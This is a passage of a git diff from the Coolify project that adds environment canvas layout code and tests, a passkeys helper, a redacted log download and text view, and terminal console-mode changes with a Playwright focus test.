7.5v9L12 21l8-4.5v-9z', 'M4 7.5 12 12l8-4.5', 'M12 12v9'], + server: ['M4 4h16v6H4z', 'M4 14h16v6H4z', 'M7.5 7h.01', 'M7.5 17h.01'], + refresh: ['M20 11a8 8 0 0 0-14.9-3.9', 'M4 4v4h4', 'M4 13a8 8 0 0 0 14.9 3.9', 'M20 20v-4h-4'], + plus: ['M12 5v14', 'M5 12h14'], + minus: ['M5 12h14'], + fit: ['M4 9V4h5', 'M20 9V4h-5', 'M4 15v5h5', 'M20 15v5h-5'], + x: ['M6 6l12 12', 'M18 6 6 18'], + external: ['M14 4h6v6', 'M20 4l-9 9', 'M18 14v4a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h4'], + link: ['M10 14a4 4 0 0 0 5.66 0l3-3a4 4 0 0 0-5.66-5.66l-1 1', 'M14 10a4 4 0 0 0-5.66 0l-3 3a4 4 0 0 0 5.66 5.66l1-1'], + variable: ['M8 4H7a2 2 0 0 0-2 2v4a2 2 0 0 1-2 2 2 2 0 0 1 2 2v4a2 2 0 0 0 2 2h1', 'M16 4h1a2 2 0 0 1 2 2v4a2 2 0 0 0 2 2 2 2 0 0 0-2 2v4a2 2 0 0 1-2 2h-1'], + search: ['M11 18a7 7 0 1 0 0-14 7 7 0 0 0 0 14z', 'M20 20l-4-4'], + tag: ['M3 12V4a1 1 0 0 1 1-1h8l9 9-9 9z', 'M7.5 7.5h.01'], + info: ['M12 21a9 9 0 1 0 0-18 9 9 0 0 0 0 18z', 'M12 11v5', 'M12 8h.01'], +}; + +/** A saved { x, y, z } canvas view, or null when it is missing or not valid. */ +export function readView(key, storage = globalThis.localStorage) { + try { + const v = JSON.parse(storage?.getItem(key) ?? 'null'); + const ok = v && [v.x, v.y, v.z].every(Number.isFinite) && v.z >= MIN_ZOOM && v.z <= MAX_ZOOM; + return ok ? { x: v.x, y: v.y, z: v.z } : null; + } catch { + return null; + } +} + +// Small screens: a notice that the canvas is not optimized for mobile. Shown below 768px (md); +// closed once, it stays closed on every canvas (same key as the deploy canvas notice). +export const MOBILE_NOTICE_KEY = 'coolify-canvas:mobile-notice-dismissed'; diff --git a/resources/js/environment-canvas.test.js b/resources/js/environment-canvas.test.js new file mode 100644 index 0000000000..5d7c096be9 --- /dev/null +++ b/resources/js/environment-canvas.test.js @@ -0,0 +1,437 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { + CARD_WIDTH, + MAX_ROWS, + COLUMN_GAP, + ROW_GAP, + ZONE_HEADER, + ZONE_PADDING, + canConnect, + canLink, + dragRules, + filterGraph, + groupByUse, + filterOptions, + groupFrames, + layoutBlock, + estimateNodeHeight, + layoutGraph, + layoutServerView, + linkPath, + statusLabel, + statusTone, + zoneBoxes, + readView, +} from './environment-canvas.js'; +import { freeSpot } from './canvas-core.js'; + +const node = (id, type, zone, extra = {}) => ({ id, type, zone, name: id, status: 'running:healthy', extra_zones: [], urls: [], children: [], volumes: [], ...extra }); +const graph = (nodes, extra = {}) => ({ + zones: [{ id: 's1', name: 'One' }, { id: 's2', name: 'Two' }], + nodes, + links: [], + positions: {}, + ...extra, +}); +const column = n => n * (CARD_WIDTH + COLUMN_GAP); + +test('places applications, services, and databases in their own columns', () => { + const p = layoutGraph(graph([node('db', 'database', 's1'), node('app', 'application', 's1'), node('svc', 'service', 's1')])); + assert.equal(p.app.x, column(0)); + assert.equal(p.svc.x, column(1)); + assert.equal(p.db.x, column(2)); + const top = ZONE_HEADER + ZONE_PADDING; + assert.deepEqual([p.app.y, p.svc.y, p.db.y], [top, top, top]); +}); + +test('stacks rows of the same type inside a column', () => { + const first = node('a1', 'application', 's1', { urls: ['https://a.test'] }); + const p = layoutGraph(graph([first, node('a2', 'application', 's1')])); + assert.equal(p.a2.x, p.a1.x); + assert.equal(p.a2.y, p.a1.y + estimateNodeHeight(first) + ROW_GAP); +}); + +test('wraps a long list into another column and shifts later types right', () => { + const apps = Array.from({ length: MAX_ROWS + 1 }, (_, i) => node(`a${i}`, 'application', 's1')); + const p = layoutGraph(graph([...apps, node('db', 'database', 's1')])); + assert.equal(p[`a${MAX_ROWS - 1}`].x, column(0)); + assert.deepEqual(p[`a${MAX_ROWS}`], { x: column(1), y: ZONE_HEADER + ZONE_PADDING }); + assert.equal(p.db.x, column(2)); +}); + +test('stacks zones in graph order with the "No server" zone last', () => { + const p = layoutGraph(graph([node('orphan', 'application', null), node('b', 'application', 's2'), node('a', 'application', 's1')])); + assert.ok(p.a.y < p.b.y, 'first server zone on top'); + assert.ok(p.b.y < p.orphan.y, 'no-server zone at the bottom'); + const boxes = zoneBoxes(graph([node('orphan', 'application', null), node('b', 'application', 's2'), node('a', 'application', 's1')]), p); + assert.deepEqual(boxes.map(b => b.name), ['One', 'Two', 'No server']); + for (let i = 1; i < boxes.length; i++) assert.ok(boxes[i].y > boxes[i - 1].y + boxes[i - 1].height, 'zones do not overlap'); +}); + +test('treats a zone id that is not in the zone list as no server', () => { + const g = graph([node('x', 'database', 'gone')]); + assert.deepEqual(zoneBoxes(g, layoutGraph(g)).map(b => b.id), [null]); +}); + +test('stored positions win over auto placement', () => { + const p = layoutGraph(graph([node('app', 'application', 's1')], { positions: { app: { x: 500, y: -40 } } })); + assert.deepEqual(p.app, { x: 500, y: -40 }); +}); + +test('treats an empty positions list from PHP as nothing stored', () => { + const p = layoutGraph(graph([node('app', 'application', 's1')], { positions: [] })); + assert.equal(p.app.x, 0); +}); + +test('places new nodes in a wrapped grid below the stored cards of their zone', () => { + const stored = node('a1', 'application', 's1'); + const apps = Array.from({ length: MAX_ROWS + 1 }, (_, i) => node(`n${i}`, 'application', 's1')); + const p = layoutGraph(graph([stored, ...apps, node('d1', 'database', 's1')], { positions: { a1: { x: 100, y: 200 } } })); + const top = 200 + estimateNodeHeight(stored) + ROW_GAP; + assert.deepEqual(p.n0, { x: 100, y: top }); + assert.deepEqual(p[`n${MAX_ROWS}`], { x: 100 + column(1), y: top }, 'wraps after MAX_ROWS cards'); + assert.deepEqual(p.d1, { x: 100 + column(2), y: top }, 'databases go right of the application columns'); +}); + +test('auto-placed zones go below zones with stored cards', () => { + const p = layoutGraph(graph([node('a', 'application', 's1'), node('b', 'application', 's2')], { positions: { a: { x: 0, y: 1000 } } })); + assert.ok(p.b.y > 1000 + estimateNodeHeight(node('a', 'application', 's1')) + ZONE_PADDING + ZONE_HEADER); +}); + +test('estimates taller cards for urls, chips, and children', () => { + const plain = estimateNodeHeight(node('a', 'service', 's1')); + const rich = estimateNodeHeight(node('b', 'service', 's1', { urls: ['https://x'], volumes: ['v'], children: [{ name: 'c' }, { name: 'd' }] })); + assert.ok(rich > plain); + const capped = estimateNodeHeight(node('c', 'service', 's1', { children: Array.from({ length: 20 }, (_, i) => ({ name: `c${i}` })) })); + const six = estimateNodeHeight(node('d', 'service', 's1', { children: Array.from({ length: 6 }, (_, i) => ({ name: `c${i}` })) })); + assert.equal(capped, six, 'children beyond the cap add one "+N more" row'); +}); + +test('zone boxes wrap their cards with padding and header', () => { + const g = graph([node('a', 'application', 's1'), node('d', 'database', 's1')]); + const positions = { a: { x: 0, y: 0 }, d: { x: 400, y: 50 } }; + const sizes = { a: { width: 260, height: 100 }, d: { width: 260, height: 80 } }; + const [box] = zoneBoxes(g, positions, sizes); + assert.deepEqual( + { id: box.id, x: box.x, y: box.y, width: box.width, height: box.height, nodes: box.nodes }, + { id: 's1', x: -ZONE_PADDING, y: -ZONE_PADDING - ZONE_HEADER, width: 660 + ZONE_PADDING * 2, height: 130 + ZONE_PADDING * 2 + ZONE_HEADER, nodes: ['a', 'd'] }, + ); +}); + +test('zone boxes skip zones without cards', () => { + assert.deepEqual(zoneBoxes(graph([node('a', 'application', 's2')]), { a: { x: 0, y: 0 } }).map(b => b.id), ['s2']); +}); + +const rect = (x, y) => ({ x, y, width: 260, height: 100 }); + +test('links go from the right edge to the left edge when the target is on the right', () => { + const path = linkPath(rect(0, 0), rect(400, 200)); + assert.equal(path.side, 'right'); + assert.deepEqual(path.from, { x: 260, y: 50 }); + assert.deepEqual(path.to, { x: 400, y: 250 }); + assert.match(path.d, /^M 260 50 C /); +}); + +test('links go from the left edge to the right edge when the target is on the left', () => { + const path = linkPath(rect(400, 0), rect(0, 0)); + assert.equal(path.side, 'left'); + assert.deepEqual(path.from, { x: 400, y: 50 }); + assert.deepEqual(path.to, { x: 260, y: 50 }); +}); + +test('links run vertically between stacked cards', () => { + const down = linkPath(rect(0, 0), rect(40, 300)); + assert.equal(down.side, 'down'); + assert.deepEqual([down.from, down.to], [{ x: 130, y: 100 }, { x: 170, y: 300 }]); + const up = linkPath(rect(0, 300), rect(0, 0)); + assert.equal(up.side, 'up'); + assert.deepEqual([up.from, up.to], [{ x: 130, y: 300 }, { x: 130, y: 100 }]); +}); + +test('link midpoint sits between both ends', () => { + const { mid } = linkPath(rect(0, 0), rect(600, 0)); + assert.deepEqual(mid, { x: 430, y: 50 }); +}); + +test('maps Coolify statuses to tones', () => { + const cases = { + 'running:healthy': 'ok', + 'running:unknown': 'ok', + running: 'ok', + 'running (healthy)': 'ok', + 'running:unhealthy': 'warn', + 'degraded:unhealthy': 'warn', + 'exited:unhealthy': 'bad', + exited: 'bad', + stopped: 'bad', + restarting: 'busy', + 'starting:unknown': 'busy', + paused: 'idle', + '': 'idle', + null: 'idle', + }; + for (const [status, tone] of Object.entries(cases)) { + assert.equal(statusTone(status === 'null' ? null : status), tone, status); + } +}); + +test('formats status labels', () => { + assert.equal(statusLabel('running:healthy'), 'Running (healthy)'); + assert.equal(statusLabel('exited'), 'Exited'); + assert.equal(statusLabel(''), 'Unknown'); +}); + +test('refuses self links and duplicates in either direction', () => { + const links = [{ id: 'l1', source: 'a', target: 'b', label: null }]; + assert.equal(canLink(links, 'a', 'a'), false); + assert.equal(canLink(links, 'a', 'b'), false); + assert.equal(canLink(links, 'b', 'a'), false); + assert.equal(canLink(links, 'a', 'c'), true); +}); + +test('a server view card has the same height as on the environment canvas', () => { + const card = { id: 'a', type: 'application' }; + // The group frame names the project / environment, so the card has no extra line for it. + assert.equal(estimateNodeHeight({ ...card, context: 'Acme / production' }), estimateNodeHeight(card)); +}); + +// ── Server view ── +const srv = (id, type, context, extra = {}) => ({ id, type, name: id, zone: 'z1', context, ...extra }); + +test('server view: a chain of linked cards runs left to right, source before target', () => { + const nodes = [srv('db', 'database', 'A / prod'), srv('web', 'application', 'A / prod'), srv('api', 'application', 'A / prod')]; + const { positions } = layoutBlock(nodes, [{ source: 'web', target: 'api' }, { source: 'api', target: 'db' }]); + assert.equal(positions.web.y, positions.api.y); + assert.equal(positions.api.y, positions.db.y); + assert.ok(positions.web.x < positions.api.x && positions.api.x < positions.db.x); + assert.equal(positions.api.x - positions.web.x, CARD_WIDTH + COLUMN_GAP); +}); + +test('server view: cards without links go below the chains, in a grid', () => { + const nodes = [srv('a', 'application', 'g'), srv('b', 'application', 'g'), srv('c', 'service', 'g'), srv('d', 'database', 'g'), srv('e', 'database', 'g')]; + const { positions } = layoutBlock(nodes, [{ source: 'a', target: 'd' }]); + assert.equal(positions.a.y, positions.d.y); // linked pair side by side + for (const id of ['b', 'c', 'e']) assert.ok(positions[id].y > positions.a.y, `${id} is below the chain`); + assert.equal(positions.b.y, positions.c.y); // one grid row +}); + +test('server view: a link cycle still gets every card a position', () => { + const nodes = [srv('x', 'application', 'g'), srv('y', 'application', 'g')]; + const { positions } = layoutBlock(nodes, [{ source: 'x', target: 'y' }, { source: 'y', target: 'x' }]); + assert.ok(positions.x && positions.y); + assert.notDeepEqual(positions.x, positions.y); +}); + +test('server view: one frame per project / environment, and the frames do not overlap', () => { + const graph = { + layout: 'server', + zones: [{ id: 'z1', name: 'web' }], + nodes: [srv('a', 'application', 'Shop / prod'), srv('b', 'database', 'Shop / prod'), srv('c', 'application', 'Blog / prod')], + links: [{ id: 'l', source: 'a', target: 'b' }], + positions: {}, + }; + const positions = layoutGraph(graph); + const frames = groupFrames(graph.nodes, positions); + assert.deepEqual(frames.map(f => f.name), ['Blog / prod', 'Shop / prod']); + const [f1, f2] = frames; + assert.ok(f1.x + f1.width <= f2.x || f2.x + f2.width <= f1.x || f1.y + f1.height <= f2.y || f2.y + f2.height <= f1.y); + assert.equal(positions.a.y, positions.b.y); +}); + +test('server view: a group keeps the arrangement saved on its environment canvas', () => { + const graph = { + layout: 'server', + zones: [{ id: 'z1', name: 'web' }], + nodes: [srv('a', 'application', 'Shop / prod'), srv('b', 'database', 'Shop / prod'), srv('c', 'service', 'Shop / prod')], + links: [], + positions: { a: { x: 900, y: 500 }, b: { x: 600, y: 800 } }, + }; + const positions = layoutGraph(graph); + assert.equal(positions.a.x - positions.b.x, 300); + assert.equal(positions.b.y - positions.a.y, 300); + assert.ok(positions.c.y >= positions.b.y + estimateNodeHeight(graph.nodes[1]), 'a card without a saved position goes below'); +}); + +const envNode = (id, type, zone, environment, extra = {}) => srv(id, type, `Shop / ${environment}`, { zone, project: { uuid: 'p' }, environment: { uuid: environment }, ...extra }); + +test('server view: cards link only to cards of the same environment', () => { + const g = { + layout: 'server', + nodes: [envNode('a', 'application', 'z1', 'prod'), envNode('b', 'database', 'z2', 'prod'), envNode('c', 'application', 'z1', 'dev'), { id: 'container:1', type: 'container', zone: 'z1' }], + }; + assert.equal(canConnect(g, 'a', 'b'), true); + assert.equal(canConnect(g, 'a', 'c'), false); + assert.equal(canConnect(g, 'a', 'a'), false); + assert.equal(canConnect(g, 'a', 'container:1'), false); + assert.equal(canConnect(g, 'container:1', 'a'), false); +}); + +test('server view: a moved group saved on its environment canvas keeps its arrangement', () => { + const g = { + layout: 'server', + zones: [{ id: 'z1', name: 'web' }, { id: 'z2', name: 'db' }], + nodes: [envNode('a', 'application', 'z1', 'prod'), envNode('b', 'database', 'z1', 'prod'), envNode('c', 'service', 'z2', 'prod'), envNode('d', 'application', 'z1', 'dev')], + links: [{ id: 'l', source: 'a', target: 'b' }], + positions: {}, + }; + const offsets = {}; + const positions = layoutServerView(g, offsets); + // The user drags b 100px down; the canvas saves its group (a, b) in environment canvas coordinates. + positions.b = { x: positions.b.x, y: positions.b.y + 100 }; + const saved = Object.fromEntries(['a', 'b'].map(id => [id, { x: positions[id].x - offsets[id].x, y: positions[id].y - offsets[id].y }])); + const again = layoutServerView({ ...g, positions: saved }); + assert.deepEqual(again.a, positions.a); + assert.deepEqual(again.b, positions.b); + // On the environment canvas the saved cards do not cover the card of the same environment on the other server. + const environment = layoutGraph({ zones: g.zones, nodes: g.nodes.filter(n => n.environment.uuid === 'prod'), positions: saved }); + const bottom = Math.max(...['a', 'b'].map(id => environment[id].y + estimateNodeHeight(g.nodes.find(n => n.id === id)))); + assert.ok(environment.c.y > bottom); +}); + +test('variables view: variables stack on the left by name, resources sit to their right', () => { + const g = { + layout: 'connect', + zones: [{ id: 'sources', name: 'Team variables', icon: 'variable' }, { id: 'resources', name: 'Resources', icon: 'service' }], + nodes: [ + node('variable:2', 'variable', 'sources', { name: 'TOKEN' }), + node('variable:1', 'variable', 'sources', { name: 'API_URL' }), + node('app', 'application', 'resources', { context: 'Shop / prod' }), + ], + links: [{ id: 'variable:1|app', source: 'variable:1', target: 'app' }], + positions: {}, + }; + const p = layoutGraph(g); + + assert.equal(p['variable:1'].x, 0); + assert.equal(p['variable:2'].x, 0); + assert.ok(p['variable:1'].y < p['variable:2'].y); + assert.ok(p.app.x > CARD_WIDTH + ZONE_PADDING * 2); + const [variables, resources] = zoneBoxes(g, p); + assert.ok(variables.x + variables.width < resources.x, 'zones do not overlap'); +}); + +test('variables view: links only go from an existing shared variable to a resource', () => { + const g = { + layout: 'connect', + nodes: [ + node('variable:1', 'variable', 'sources'), + node('variable:2', 'variable', 'sources'), + node('missing:OLD', 'variable', 'sources', { missing: true }), + node('app', 'application', 'resources'), + ], + }; + + assert.equal(canConnect(g, 'variable:1', 'app'), true); + assert.equal(canConnect(g, 'app', 'variable:1'), false); + assert.equal(canConnect(g, 'variable:1', 'variable:2'), false); + assert.equal(canConnect(g, 'missing:OLD', 'app'), false); + assert.equal(canConnect({ nodes: g.nodes }, 'app', 'variable:1'), true, 'other canvases link any two cards'); +}); + +test('variables view: filter resources by project and environment, keep every variable', () => { + const shop = { uuid: 'p1', name: 'Shop' }; + const blog = { uuid: 'p2', name: 'Blog' }; + const g = { + layout: 'connect', + nodes: [ + node('variable:1', 'variable', 'sources'), + node('a', 'application', 'resources', { project: shop, environment: { uuid: 'e1', name: 'production' } }), + node('b', 'application', 'resources', { project: shop, environment: { uuid: 'e2', name: 'staging' } }), + node('c', 'application', 'resources', { project: blog, environment: { uuid: 'e3', name: 'production' } }), + ], + links: [{ id: 'l1', source: 'variable:1', target: 'a' }, { id: 'l2', source: 'variable:1', target: 'c' }], + }; + + assert.deepEqual(filterOptions(g).map(p => [p.name, p.environments.map(e => e.name)]), [['Blog', ['production']], ['Shop', ['production', 'staging']]]); + assert.equal(filterGraph(g, {}), g); + const shopOnly = filterGraph(g, { project: 'p1' }); + assert.deepEqual(shopOnly.nodes.map(n => n.id), ['variable:1', 'a', 'b']); + assert.deepEqual(shopOnly.links.map(l => l.id), ['l1']); + assert.deepEqual(filterGraph(g, { environment: 'e2' }).nodes.map(n => n.id), ['variable:1', 'b']); + assert.deepEqual(filterGraph(g, { environment: 'e2' }).links, []); +}); + +test('variables view: resources that use a variable get their own zone, in one column', () => { + const ctx = { context: 'Shop / prod' }; + const g = groupByUse({ + layout: 'connect', + zones: [{ id: 'sources', icon: 'variable' }, { id: 'connected', icon: 'link' }, { id: 'resources', icon: 'service' }], + nodes: [ + node('variable:1', 'variable', 'sources'), + node('app', 'application', 'resources', ctx), + node('db', 'database', 'resources', ctx), + node('idle', 'application', 'resources', ctx), + ], + links: [{ id: 'l1', source: 'variable:1', target: 'app' }, { id: 'l2', source: 'variable:1', target: 'db' }], + }); + assert.deepEqual(g.nodes.map(n => n.zone), ['sources', 'connected', 'connected', 'resources']); + + const p = layoutGraph(g); + assert.equal(p.app.x, p.db.x, 'connected cards share one column, so no link runs behind a card'); + assert.ok(p.db.y > p.app.y); + const boxes = zoneBoxes(g, p); + const connected = boxes.find(b => b.id === 'connected'); + const others = boxes.find(b => b.id === 'resources'); + assert.ok(connected.y + connected.height < others.y, 'other resources sit below the connected zone'); +}); + +test('readView restores a saved zoom and pan, and ignores bad data', () => { + const store = values => ({ getItem: key => values[key] ?? null }); + assert.deepEqual(readView('k', store({ k: '{"x":-120.5,"y":40,"z":0.6}' })), { x: -120.5, y: 40, z: 0.6 }); + assert.equal(readView('k', store({})), null); + assert.equal(readView('k', store({ k: 'not json' })), null); + assert.equal(readView('k', store({ k: '{"x":1,"y":2}' })), null); + assert.equal(readView('k', store({ k: '{"x":1,"y":2,"z":9}' })), null); +}); + +test('server view: the unmanaged containers group comes first in its zone', () => { + const g = { + layout: 'server', + zones: [{ id: 'z1', name: 'web' }], + nodes: [ + node('a', 'application', 'z1', { context: 'Alpha / prod' }), + node('container:1', 'container', 'z1', { context: 'Unmanaged containers' }), + ], + links: [], + positions: {}, + }; + const positions = layoutServerView(g); + assert.ok(positions['container:1'].x < positions.a.x); +}); + +const apart = (a, b) => a.x + a.width <= b.x || b.x + b.width <= a.x || a.y + a.height <= b.y || b.y + b.height <= a.y; +// Drag card `id` to the top-left of `onto`, as the canvas does: stop at the nearest free spot. +const dragOnto = (g, positions, id, onto) => { + const { others, fits } = dragRules(g, positions, {}, id); + const card = g.nodes.find(n => n.id === id); + const start = { ...positions[id], w: CARD_WIDTH, h: estimateNodeHeight(card) }; + assert.deepEqual(freeSpot(start, others, undefined, fits), start, 'the laid out card is already free, so it does not jump'); + const spot = freeSpot({ ...start, ...positions[onto] }, others, undefined, fits); + return { ...positions, [id]: { x: spot.x, y: spot.y } }; +}; + +test('a dragged card stops before it covers a card or another zone', () => { + const g = graph([node('a', 'application', 's1'), node('b', 'database', 's1'), node('c', 'application', 's2')]); + const before = layoutGraph(g); + for (const [id, onto] of [['a', 'b'], ['a', 'c'], ['c', 'a']]) { + const positions = dragOnto(g, before, id, onto); + const rects = Object.fromEntries(g.nodes.map(n => [n.id, ({ ...positions[n.id], width: CARD_WIDTH, height: estimateNodeHeight(n) })])); + for (const n of g.nodes) if (n.id !== id) assert.ok(apart(rects[id], rects[n.id]), `${id} does not cover ${n.id}`); + const [z1, z2] = zoneBoxes(g, positions); + assert.ok(apart(z1, z2), 'the zones do not overlap'); + } +}); + +test('server view: a dragged card stops before its group covers another group', () => { + const g = { + layout: 'server', + zones: [{ id: 'z1', name: 'web' }], + nodes: [srv('a', 'application', 'Shop / prod'), srv('b', 'database', 'Shop / prod'), srv('c', 'application', 'Blog / prod')], + links: [], + positions: {}, + }; + const positions = dragOnto(g, layoutGraph(g), 'a', 'c'); + const [f1, f2] = groupFrames(g.nodes, positions); + assert.ok(apart(f1, f2), 'the project / environment frames do not overlap'); +}); diff --git a/resources/js/passkeys.js b/resources/js/passkeys.js new file mode 100644 index 0000000000..060e1ad00d --- /dev/null +++ b/resources/js/passkeys.js @@ -0,0 +1,22 @@ +import { Passkeys } from '@laravel/passkeys'; + +window.Passkeys = Passkeys; + +window.passkeyDeviceName = () => { + const ua = navigator.userAgent; + const browser = /Edg\//.test(ua) ? 'Edge' + : /Firefox\//.test(ua) ? 'Firefox' + : /Chrome\//.test(ua) ? 'Chrome' + : /Safari\//.test(ua) ? 'Safari' + : 'Browser'; + const os = /iPhone|iPad/.test(ua) ? 'iOS' + : /Android/.test(ua) ? 'Android' + : /Mac/.test(ua) ? 'Mac' + : /Windows/.test(ua) ? 'Windows' + : /Linux/.test(ua) ? 'Linux' + : 'device'; + + return `${browser} on ${os}`; +}; + +window.dispatchEvent(new CustomEvent('passkeys:ready')); diff --git a/resources/js/runtime-logs.js b/resources/js/runtime-logs.js index c5ff280f33..3b34fce197 100644 --- a/resources/js/runtime-logs.js +++ b/resources/js/runtime-logs.js @@ -13,6 +13,7 @@ import { export const MAX_CLIENT_LOG_LINES = 50000; export const STREAM_INTERVAL_MS = 2000; const ESTIMATED_ROW_HEIGHT = 44; +const ESTIMATED_TEXT_ROW_HEIGHT = 20; const TIMESTAMP_PATTERN = /^(\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}(?:\.\d+)?Z) (.*)$/s; @@ -83,6 +84,23 @@ export function isFindShortcut(event) { return Boolean(event.ctrlKey || event.metaKey) && !event.altKey && !event.shiftKey && event.key?.toLowerCase() === 'f'; } +const DEFAULT_LOG_FILTERS = { error: true, warning: true, debug: true, info: true }; + +/** Read saved level filters. Invalid saved values fall back to the defaults. */ +export function readLogFilters(saved) { + const filters = { ...DEFAULT_LOG_FILTERS }; + let parsed; + try { + parsed = JSON.parse(saved); + } catch { + return filters; + } + for (const level of Object.keys(filters)) { + if (typeof parsed?.[level] === 'boolean') filters[level] = parsed[level]; + } + return filters; +} + export function filterLogLines(lines, filters, query) { const needle = query.trim().toLowerCase(); return lines.filter((line) => filters[line.level] !== false && (!needle || line.lower.includes(needle))); @@ -170,7 +188,8 @@ export function initializeRuntimeLogsComponent() { scrollDebounce: null, destroyed: false, colorLogs: localStorage.getItem('coolify-color-logs') === 'true', - logFilters: JSON.parse(localStorage.getItem('coolify-log-filters')) || { error: true, warning: true, debug: true, info: true }, + textView: localStorage.getItem('coolify-log-text-view') === 'true', + logFilters: readLogFilters(localStorage.getItem('coolify-log-filters')), searchQuery: '', appliedQuery: '', matchCount: 0, @@ -205,7 +224,7 @@ export function initializeRuntimeLogsComponent() { virtualizer = new Virtualizer({ count: 0, getScrollElement: () => this.$refs.viewport ?? null, - estimateSize: () => ESTIMATED_ROW_HEIGHT, + estimateSize: () => (this.textView ? ESTIMATED_TEXT_ROW_HEIGHT : ESTIMATED_ROW_HEIGHT), getItemKey: (index) => filtered[index]?.id ?? index, overscan: 12, // Keep the visible rows in place when old lines are trimmed from the top. @@ -329,9 +348,9 @@ export function initializeRuntimeLogsComponent() { }); }, - visibleText() { + visibleText(source = filtered) { const withTime = this.$wire.showTimeStamps; - return filtered + return source .map((line) => (withTime && line.ts ? `${formatTimestamp(line.ts)} ${line.text}` : line.text)) .join('\n'); }, @@ -353,6 +372,7 @@ export function initializeRuntimeLogsComponent() { }, toggleLogDetails(id, event) { + if (this.textView) return; if (window.getSelection()?.toString()) return; if (event.type === 'keydown' && !['Enter', ' '].includes(event.key)) return; if (event.type === 'keydown') event.preventDefault(); @@ -360,7 +380,7 @@ export function initializeRuntimeLogsComponent() { }, isLogExpanded(id) { - return this.expandedLogs[id] === true; + return !this.textView && this.expandedLogs[id] === true; }, toggleLogFilter(level) { @@ -374,9 +394,33 @@ export function initializeRuntimeLogsComponent() { localStorage.setItem('coolify-color-logs', this.colorLogs); }, - downloadLogs() { + // Plain text lines without columns, row borders, or expandable details. + toggleTextView() { + this.textView = !this.textView; + localStorage.setItem('coolify-log-text-view', this.textView); + this.$nextTick(() => { + virtualizer?.measure(); + this.$refs.list?.querySelectorAll('.runtime-log-virtual-row').forEach((el) => this.measureRow(el)); + this.updateVirtualizer(); + if (this.alwaysScroll) this.scrollToBottom(); + }); + }, + + // The browser holds unredacted lines, so fetch the redacted copy from the server + // and apply the same level and search filters before downloading it. + async downloadLogs() { + let logs; + try { + logs = await this.$wire.copyLogs(); + } catch { + window.Livewire.dispatch('error', ['Failed to prepare logs for download.']); + return; + } + if (!logs) return; + let id = 0; + const exported = filterLogLines(parseLogLines(logs, () => ++id), this.logFilters, this.searchQuery); const timestamp = new Date().toISOString().slice(0, 19).replace(/[T:]/g, '-'); - downloadText(this.visibleText() + '\n', `${this.containerName}-logs-${timestamp}.txt`); + downloadText(this.visibleText(exported) + '\n', `${this.containerName}-logs-${timestamp}.txt`); }, makeFullscreen() { diff --git a/resources/js/terminal.browser.test.js b/resources/js/terminal.browser.test.js new file mode 100644 index 0000000000..29f607e82e --- /dev/null +++ b/resources/js/terminal.browser.test.js @@ -0,0 +1,45 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { readFileSync } from 'node:fs'; +import { chromium } from 'playwright'; + +test('pty-ready keeps the console input focused after the 500 ms retry', async () => { + const browser = await chromium.launch({ headless: true }); + try { + const page = await browser.newPage(); + await page.route('http://terminal.test/', route => route.fulfill({ contentType: 'text/html', body: '
Container output
' })); + await page.goto('http://terminal.test/'); + const source = readFileSync(new URL('./terminal.js', import.meta.url), 'utf8') + .split('export function initializeTerminalComponent')[1]; + // terminal.js imports these helpers; load them as plain declarations. + const connectionSource = readFileSync(new URL('./terminal-connection.js', import.meta.url), 'utf8') + .replace(/^export /gm, ''); + await page.evaluate(([connectionSource, source]) => { + window.Alpine = { data: (_name, factory) => { window.terminalFactory = factory; } }; + window.applicationTerminalThemes = { system: {} }; + window.MAX_TERMINAL_SESSION_SECONDS = 28800; + window.logTerminal = () => {}; + // Register the actual Alpine component, without its Vite imports. + new Function(`${connectionSource}\nfunction initializeTerminalComponent${source}\ninitializeTerminalComponent();`)(); + const component = window.terminalFactory(); + component.$wire = { terminalMode: 'attach', dispatch() {} }; + component.$refs = { consoleInput: document.querySelector('#consoleInput') }; + component.term = { _initialized: true, focus: () => document.querySelector('.xterm-viewport').focus() }; + component.startTerminalSessionCountdown = () => {}; + component.resizeTerminal = () => {}; + component.handleSocketMessage({ data: 'pty-ready' }); + window.terminalComponent = component; + }, [connectionSource, source]); + await page.waitForTimeout(650); + assert.equal(await page.locator('#consoleInput').evaluate((input) => document.activeElement === input), true); + await page.screenshot({ path: '/tmp/pr11538-console-focus.png' }); + await page.evaluate(() => { + window.terminalComponent.$wire.terminalMode = 'shell'; + window.terminalComponent.handleSocketMessage({ data: 'pty-ready' }); + }); + await page.waitForTimeout(650); + assert.equal(await page.locator('.xterm-viewport').evaluate((terminal) => document.activeElement === terminal), true); + } finally { + await browser.close(); + } +}); diff --git a/resources/js/terminal.js b/resources/js/terminal.js index 420e20fb11..93d196286b 100644 --- a/resources/js/terminal.js +++ b/resources/js/terminal.js @@ -205,6 +205,15 @@ export function initializeTerminalComponent() { wasConnectedBeforeHidden: false, mobileToolbarCollapsed: false, terminalModifier: null, + // Console (attach) mode — line-oriented command input, like a game-server panel. + consoleCommand: '', + consoleHistory: [], + consoleHistoryIndex: -1, + // Lines from a multi-line paste, waiting for the user to confirm with Enter. + consolePendingLines: [], + consoleSentFlash: false, + consoleSentFlashTimeout: null, + consoleForegroundColor: '#ffffff', keyboardInset: 0, keyboardAnchorTop: 0, keyboardViewportHeight: 0, @@ -312,6 +321,7 @@ export function initializeTerminalComponent() { logTerminal('warn', '[Terminal] Ignoring terminal token after authentication was rejected.'); return; } + this.applyConsoleMode(); this.beginTerminalSessionStart(); this.sendCommandWhenReady({ terminalToken: token }); }); @@ -330,7 +340,7 @@ export function initializeTerminalComponent() { // Wait for terminal to be ready, then focus const focusWhenReady = () => { if (this.terminalActive && this.term) { - this.term.focus(); + this.focusActiveInput(); } else { setTimeout(focusWhenReady, 100); } @@ -515,6 +525,7 @@ export function initializeTerminalComponent() { const cursorBlink = this.term.options.cursorBlink; this.term.options.cursorBlink = false; this.term.options.theme = { ...applicationTerminalThemes[themeName] }; + this.syncConsoleForeground(); this.term.refresh(0, Math.max(0, this.term.rows - 1)); requestAnimationFrame(() => { @@ -524,7 +535,7 @@ export function initializeTerminalComponent() { this.term.options.cursorBlink = cursorBlink; this.term.refresh(0, Math.max(0, this.term.rows - 1)); - this.term.focus(); + this.focusActiveInput(); logTerminal('log', '[Terminal Theme] Theme applied', this.terminalThemeDebugSnapshot(themeName)); }); } @@ -580,7 +591,7 @@ export function initializeTerminalComponent() { // Force a refresh this.$nextTick(() => { this.resizeTerminal(); - this.term.focus(); + 